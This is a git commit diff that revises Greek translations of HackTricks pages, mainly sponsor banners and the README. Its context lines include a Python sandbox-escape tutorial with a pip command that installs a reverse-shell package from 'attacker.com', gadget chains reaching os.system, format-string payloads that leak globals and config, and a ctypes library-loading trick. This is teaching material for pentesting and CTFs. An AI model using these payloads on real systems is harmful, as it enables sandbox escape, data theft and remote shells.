Translated ['README.md', 'generic-methodologies-and-resources/python/byp

2024-11-21 20:23:18 +00:00 · 2024-11-09 14:03:23 +00:00 · 2024-11-09 14:03:23 +00:00 · a44e74e3df
commit a44e74e3df
parent 607bcb941a
31 changed files with 442 additions and 443 deletions
--- a/README.md
+++ b/README.md
@ -5,7 +5,7 @@
 _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._

 {% hint style="success" %}
-**Καλώς ήρθατε στο wiki όπου θα βρείτε κάθε κόλπο/τεχνική/οτιδήποτε έχω μάθει από CTFs, πραγματικές εφαρμογές, διαβάζοντας έρευνες και ειδήσεις.**
+**Καλώς ήρθατε στη wiki όπου θα βρείτε κάθε κόλπο/τεχνική/οτιδήποτε έχω μάθει από CTFs, πραγματικές εφαρμογές, διαβάζοντας έρευνες και ειδήσεις.**
 {% endhint %}

 Για να ξεκινήσετε, ακολουθήστε αυτή τη σελίδα όπου θα βρείτε τη **τυπική ροή** που **πρέπει να ακολουθήσετε όταν κάνετε pentesting** σε μία ή περισσότερες **μηχανές:**
@ -55,7 +55,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
 <figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>

 \
-Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.
+Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.

 Αποκτήστε πρόσβαση σήμερα:

@ -69,9 +69,9 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/

 Ελάτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!

-* **Hacking Insights:** Συμμετοχή σε περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
-* **Real-Time Hack News:** Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
-* **Latest Announcements:** Μείνετε ενημερωμένοι με τις πιο πρόσφατες εκκινήσεις bug bounty και κρίσιμες ενημερώσεις πλατφόρμας
+* **Insights για Hacking:** Συμμετοχή σε περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
+* **Ειδήσεις Hack σε Πραγματικό Χρόνο:** Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και insights σε πραγματικό χρόνο
+* **Τελευταίες Ανακοινώσεις:** Μείνετε ενημερωμένοι με τις πιο πρόσφατες εκκινήσεις bug bounty και κρίσιμες ενημερώσεις πλατφόρμας

 **Ελάτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους hackers σήμερα!

@ -81,9 +81,9 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας στο web, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός hacker για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

@ -96,13 +96,13 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/

 <figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>

-**SerpApi** προσφέρει γρήγορες και εύκολες APIs σε πραγματικό χρόνο για **πρόσβαση στα αποτελέσματα μηχανών αναζήτησης**. Scrape μηχανές αναζήτησης, χειρίζονται proxies, λύνουν captchas και αναλύουν όλα τα πλούσια δομημένα δεδομένα για εσάς.
+**SerpApi** προσφέρει γρήγορες και εύκολες APIs σε πραγματικό χρόνο για **πρόσβαση στα αποτελέσματα μηχανών αναζήτησης**. Scrape μηχανές αναζήτησης, διαχειρίζονται proxies, λύνουν captchas και αναλύουν όλα τα πλούσια δομημένα δεδομένα για εσάς.

 Μια συνδρομή σε ένα από τα σχέδια του SerpApi περιλαμβάνει πρόσβαση σε πάνω από 50 διαφορετικά APIs για scraping διαφορετικών μηχανών αναζήτησης, συμπεριλαμβανομένων των Google, Bing, Baidu, Yahoo, Yandex και άλλων.\
-Σε αντίθεση με άλλους παρόχους, **το SerpApi δεν κάνει μόνο scraping οργανικών αποτελεσμάτων**. Οι απαντήσεις του SerpApi περιλαμβάνουν σταθερά όλες τις διαφημίσεις, inline εικόνες και βίντεο, γραφήματα γνώσεων και άλλα στοιχεία και χαρακτηριστικά που υπάρχουν στα αποτελέσματα αναζήτησης.
+Σε αντίθεση με άλλους παρόχους, **το SerpApi δεν κάνει απλώς scrape οργανικών αποτελεσμάτων**. Οι απαντήσεις του SerpApi περιλαμβάνουν σταθερά όλες τις διαφημίσεις, inline εικόνες και βίντεο, γραφήματα γνώσεων και άλλα στοιχεία και χαρακτηριστικά που υπάρχουν στα αποτελέσματα αναζήτησης.

 Οι τρέχοντες πελάτες του SerpApi περιλαμβάνουν **Apple, Shopify και GrubHub**.\
-Για περισσότερες πληροφορίες, ελέγξτε το [**blog**](https://serpapi.com/blog/)** τους,** ή δοκιμάστε ένα παράδειγμα στο [**playground**](https://serpapi.com/playground)** τους.**\
+Για περισσότερες πληροφορίες, ελέγξτε το [**blog**](https://serpapi.com/blog/)**,** ή δοκιμάστε ένα παράδειγμα στο [**playground**](https://serpapi.com/playground)**.**\
 Μπορείτε να **δημιουργήσετε έναν δωρεάν λογαριασμό** [**εδώ**](https://serpapi.com/users/sign\_up)**.**

 ***
@ -111,13 +111,13 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/

 <figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>

-[**WebSec**](https://websec.nl) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθά **να προστατεύει** επιχειρήσεις **σε όλο τον κόσμο** από τις τελευταίες απειλές κυβερνοασφάλειας παρέχοντας **υπηρεσίες επιθετικής ασφάλειας** με μια **σύγχρονη** προσέγγιση.
+[**WebSec**](https://websec.nl) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθά **στην προστασία** επιχειρήσεων **σε όλο τον κόσμο** από τις τελευταίες απειλές κυβερνοασφάλειας παρέχοντας **υπηρεσίες επιθετικής ασφάλειας** με **σύγχρονη** προσέγγιση.

-Η WebSec είναι μια **all-in-one εταιρεία ασφάλειας** που σημαίνει ότι τα κάνει όλα: Pentesting, **Security** Audits, Εκπαιδεύσεις Ευαισθητοποίησης, Καμπάνιες Phishing, Ανασκόπηση Κώδικα, Ανάπτυξη Exploit, Εξωτερική Ανάθεση Ειδικών Ασφαλείας και πολλά άλλα.
+Η WebSec είναι μια **all-in-one εταιρεία ασφάλειας**, που σημαίνει ότι τα κάνει όλα: Pentesting, **Security** Audits, Εκπαιδεύσεις Ευαισθητοποίησης, Καμπάνιες Phishing, Ανασκόπηση Κώδικα, Ανάπτυξη Exploit, Εξωτερική Ανάθεση Ειδικών Ασφαλείας και πολλά άλλα.

-Ένα άλλο ενδιαφέρον στοιχείο σχετικά με την WebSec είναι ότι, σε αντίθεση με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ σίγουρη για τις ικανότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, όπως αναφέρεται στην ιστοσελίδα τους "**Αν δεν μπορούμε να το χακάρουμε, δεν το πληρώνετε!**". Για περισσότερες πληροφορίες, ρίξτε μια ματιά στην [**ιστοσελίδα**](https://websec.nl/en/) και το [**blog**](https://websec.nl/blog/) τους!
+Ένα άλλο ενδιαφέρον πράγμα για την WebSec είναι ότι, σε αντίθεση με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ σίγουρη για τις ικανότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, αναφέρει στην ιστοσελίδα της "**Αν δεν μπορούμε να το χακάρουμε, δεν το πληρώνετε!**". Για περισσότερες πληροφορίες, ρίξτε μια ματιά στην [**ιστοσελίδα**](https://websec.nl/en/) και το [**blog**](https://websec.nl/blog/) τους!

-Επιπλέον, η WebSec είναι επίσης ένας **δεσμευμένος υποστηρικτής του HackTricks.**
+Επιπλέον, η WebSec είναι επίσης **δεσμευμένος υποστηρικτής του HackTricks.**

 {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}

@ -139,7 +139,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/

 <details>

-<summary>Support HackTricks</summary>
+<summary>Υποστηρίξτε το HackTricks</summary>

 * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
 * **Ελάτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
--- a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
+++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Get a hacker's perspective on your web apps, network, and cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

@ -97,7 +97,7 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))

 Τέχνασμα που μοιράστηκε ο **@isHaacK**

-Εάν έχετε πρόσβαση στο `pip` ή `pip.main()`, μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να αποκτήσετε ένα reverse shell καλώντας:
+Αν έχετε πρόσβαση στο `pip` ή `pip.main()`, μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να αποκτήσετε ένα reverse shell καλώντας:
 ```bash
 pip install http://attacker.com/Rerverse.tar.gz
 pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
@ -340,7 +340,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
 ### No Builtins

 Όταν δεν έχετε `__builtins__`, δεν θα μπορείτε να εισάγετε τίποτα ούτε καν να διαβάσετε ή να γράψετε αρχεία καθώς **όλες οι παγκόσμιες συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν είναι φορτωμένες**.\
-Ωστόσο, **κατά προεπιλογή, η python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται αθώα, αλλά μερικά από αυτά **εισάγουν επίσης επικίνδυνες** λειτουργίες μέσα τους που μπορούν να προσπελαστούν για να αποκτήσουν ακόμη και **τυχαία εκτέλεση κώδικα**.
+Ωστόσο, **κατά προεπιλογή, η python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται αθώα, αλλά μερικά από αυτά **εισάγουν επίσης επικίνδυνες** λειτουργίες μέσα τους που μπορούν να προσπελαστούν για να αποκτήσετε ακόμη και **τυχαία εκτέλεση κώδικα**.

 Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πώς να **καταχραστείτε** μερικά από αυτά τα "**αθώα**" modules που έχουν φορτωθεί για να **προσεγγίσετε** **επικίνδυνες** **λειτουργίες** μέσα τους.

@ -430,7 +430,7 @@ class_obj.__init__.__globals__

 ## Ανακάλυψη Αυθαίρετης Εκτέλεσης

-Εδώ θέλω να εξηγήσω πώς να ανακαλύψετε εύκολα **πιο επικίνδυνες λειτουργίες που έχουν φορτωθεί** και να προτείνω πιο αξιόπιστους εκμεταλλεύσεις.
+Εδώ θέλω να εξηγήσω πώς να ανακαλύψετε εύκολα **πιο επικίνδυνες λειτουργίες που έχουν φορτωθεί** και να προτείνω πιο αξιόπιστους εκμεταλλευτές.

 #### Πρόσβαση σε υποκλάσεις με παρακάμψεις

@ -464,7 +464,7 @@ defined_func.__class__.__base__.__subclasses__()
 ```
 ### Εύρεση επικίνδυνων βιβλιοθηκών που έχουν φορτωθεί

-Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατό να **εισαγάγετε αυθαίρετες βιβλιοθήκες**, μπορείτε να αναζητήσετε όλα τα **modules που έχουν φορτωθεί και έχουν εισάγει το sys μέσα τους**:
+Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατή η **εισαγωγή αυθαίρετων βιβλιοθηκών**, μπορείτε να αναζητήσετε όλα τα **modules που έχουν φορτωθεί και έχουν εισάγει το sys μέσα τους**:
 ```python
 [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
 ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
@ -708,7 +708,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
 st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
 get_name_for_avatar(st, people_obj = people)
 ```
-Σημειώστε πώς μπορείτε να **πρόσβαση σε χαρακτηριστικά** με κανονικό τρόπο με μια **τελεία** όπως `people_obj.__init__` και **στοιχείο dict** με **παρενθέσεις** χωρίς αποσπάσματα `__globals__[CONFIG]`
+Σημειώστε πώς μπορείτε να **πρόσβαση σε χαρακτηριστικά** με κανονικό τρόπο με μια **τελεία** όπως `people_obj.__init__` και **στοιχείο dict** με **παρενθέσεις** χωρίς εισαγωγικά `__globals__[CONFIG]`

 Επίσης σημειώστε ότι μπορείτε να χρησιμοποιήσετε `.__dict__` για να απαριθμήσετε τα στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`

@ -728,7 +728,7 @@ return 'HAL 9000'
 '{:open-the-pod-bay-doors}'.format(HAL9000())
 #I'm afraid I can't do that.
 ```
-**Περισσότερα παραδείγματα** σχετικά με **μορφοποίηση** **συμβολοσειρών** μπορούν να βρεθούν στο [**https://pyformat.info/**](https://pyformat.info)
+**Περισσότερα παραδείγματα** σχετικά με **μορφή** **συμβολοσειρών** μπορούν να βρεθούν στο [**https://pyformat.info/**](https://pyformat.info)

 {% hint style="danger" %}
 Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα r**ead ευαίσθητες πληροφορίες από τα εσωτερικά αντικείμενα της Python**:
@ -738,7 +738,7 @@ return 'HAL 9000'
 [python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
 {% endcontent-ref %}

-### Payloads Αποκάλυψης Ευαίσθητων Πληροφοριών
+### Ευαίσθητες Πληροφορίες Διάχυσης Payloads
 ```python
 {whoami.__class__.__dict__}
 {whoami.__globals__[os].__dict__}
@ -756,7 +756,7 @@ str(x) # Out: clueless
 ```
 ### Από τη μορφή στην εκτέλεση κώδικα φορτώνοντας βιβλιοθήκες

-Σύμφωνα με την [**πρόκληση TypeMonkey από αυτή την αναφορά**](https://corgi.rip/posts/buckeye-writeups/), είναι δυνατόν να φορτωθούν αυθαίρετες βιβλιοθήκες από το δίσκο εκμεταλλευόμενοι την ευπάθεια μορφής συμβολοσειράς στην python.
+Σύμφωνα με την [**TypeMonkey chall από αυτή την αναφορά**](https://corgi.rip/posts/buckeye-writeups/), είναι δυνατόν να φορτωθούν αυθαίρετες βιβλιοθήκες από το δίσκο εκμεταλλευόμενοι την ευπάθεια της μορφής συμβολοσειράς στην python.

 Ως υπενθύμιση, κάθε φορά που εκτελείται μια ενέργεια στην python, εκτελείται κάποια συνάρτηση. Για παράδειγμα, το `2*3` θα εκτελέσει **`(2).mul(3)`** ή **`{'a':'b'}['a']`** θα είναι **`{'a':'b'}.__getitem__('a')`**.

@ -765,7 +765,7 @@ str(x) # Out: clueless
 Μια ευπάθεια μορφής συμβολοσειράς στην python δεν επιτρέπει την εκτέλεση συνάρτησης (δεν επιτρέπει τη χρήση παρενθέσεων), οπότε δεν είναι δυνατόν να αποκτήσετε RCE όπως `'{0.system("/bin/sh")}'.format(os)`.\
 Ωστόσο, είναι δυνατόν να χρησιμοποιήσετε `[]`. Επομένως, αν μια κοινή βιβλιοθήκη python έχει μια μέθοδο **`__getitem__`** ή **`__getattr__`** που εκτελεί αυθαίρετο κώδικα, είναι δυνατόν να τις εκμεταλλευτείτε για να αποκτήσετε RCE.

-Ψάχνοντας για ένα gadget όπως αυτό στην python, η αναφορά προτείνει αυτή την [**ερώτηση αναζήτησης Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Εκεί βρήκε αυτό [το ένα](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
+Ψάχνοντας για ένα gadget όπως αυτό στην python, η αναφορά προτείνει αυτή την [**ερώτηση αναζήτησης στο Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Εκεί βρήκε αυτό [το ένα](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
 ```python
 class LibraryLoader(object):
 def __init__(self, dlltype):
@ -787,7 +787,7 @@ return getattr(self, name)
 cdll = LibraryLoader(CDLL)
 pydll = LibraryLoader(PyDLL)
 ```
-Αυτή η συσκευή επιτρέπει να **φορτώσετε μια βιβλιοθήκη από τον δίσκο**. Επομένως, είναι απαραίτητο να **γράψετε ή να ανεβάσετε τη βιβλιοθήκη για να φορτωθεί** σωστά κατασκευασμένη στον επιτιθέμενο διακομιστή.
+Αυτή η συσκευή επιτρέπει να **φορτώσετε μια βιβλιοθήκη από τον δίσκο**. Επομένως, είναι απαραίτητο να **γράψετε ή να ανεβάσετε τη βιβλιοθήκη για να φορτωθεί** σωστά στον επιτιθέμενο διακομιστή.
 ```python
 '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
 ```
@ -946,7 +946,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
 ```
 ## Συγκέντρωση Python

-Τώρα, ας φανταστούμε ότι με κάποιο τρόπο μπορείτε να **εκφορτώσετε τις πληροφορίες σχετικά με μια συνάρτηση που δεν μπορείτε να εκτελέσετε** αλλά **χρειάζεστε** να **εκτελέσετε**.\
+Τώρα, ας φανταστούμε ότι με κάποιο τρόπο μπορείτε να **εκχύσετε τις πληροφορίες σχετικά με μια συνάρτηση που δεν μπορείτε να εκτελέσετε** αλλά **χρειάζεστε** να **την εκτελέσετε**.\
 Όπως στο παρακάτω παράδειγμα, μπορείτε να **έχετε πρόσβαση στο αντικείμενο κώδικα** αυτής της συνάρτησης, αλλά απλά διαβάζοντας την αποσυναρμολόγηση **δεν ξέρετε πώς να υπολογίσετε τη σημαία** (_φανταστείτε μια πιο σύνθετη συνάρτηση `calc_flag`_)
 ```python
 def get_flag(some_input):
@ -1010,7 +1010,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
 In previous examples at the beginning of this post, you can see **how to execute any python code using the `compile` function**. This is interesting because you can **execute whole scripts** with loops and everything in a **one liner** (and we could do the same using **`exec`**).\
 Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF machine** (for example because we don't have the `compiled` function in the CTF).

-For example, let's compile and execute manually a function that reads _./poc.py_:
+Για παράδειγμα, ας μεταγλωττίσουμε και εκτελέσουμε χειροκίνητα μια συνάρτηση που διαβάζει _./poc.py_:
 ```python
 #Locally
 def read():
@ -1037,7 +1037,7 @@ mydict['__builtins__'] = __builtins__
 codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
 function_type(codeobj, mydict, None, None, None)()
 ```
-Αν δεν μπορείτε να αποκτήσετε πρόσβαση στο `eval` ή `exec`, μπορείτε να δημιουργήσετε μια **κατάλληλη συνάρτηση**, αλλά η άμεση κλήση της συνήθως θα αποτύχει με: _ο κατασκευαστής δεν είναι προσβάσιμος σε περιορισμένο περιβάλλον_. Έτσι, χρειάζεστε μια **συνάρτηση που δεν είναι στο περιορισμένο περιβάλλον για να καλέσετε αυτή τη συνάρτηση.**
+Αν δεν μπορείτε να αποκτήσετε πρόσβαση στο `eval` ή `exec`, μπορείτε να δημιουργήσετε μια **κατάλληλη συνάρτηση**, αλλά η άμεση κλήση της συνήθως θα αποτύχει με: _ο κατασκευαστής δεν είναι προσβάσιμος σε περιορισμένη λειτουργία_. Έτσι, χρειάζεστε μια **συνάρτηση που δεν είναι στο περιορισμένο περιβάλλον για να καλέσετε αυτή τη συνάρτηση.**
 ```python
 #Compile a regular print
 ftype = type(lambda: None)
@ -1082,9 +1082,9 @@ print(f"\nNot a Super User!!!\n")

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

@ -1094,7 +1094,7 @@ print(f"\nNot a Super User!!!\n")

 <details>

-<summary>Υποστηρίξτε το HackTricks</summary>
+<summary>Υποστήριξη HackTricks</summary>

 * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
 * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
--- a/macos-hardening/macos-red-teaming/README.md
+++ b/macos-hardening/macos-red-teaming/README.md
@ -1,25 +1,25 @@
 # macOS Red Teaming

 {% hint style="success" %}
-Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
-Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

 <details>

-<summary>Υποστήριξη HackTricks</summary>
+<summary>Support HackTricks</summary>

-* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
-* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
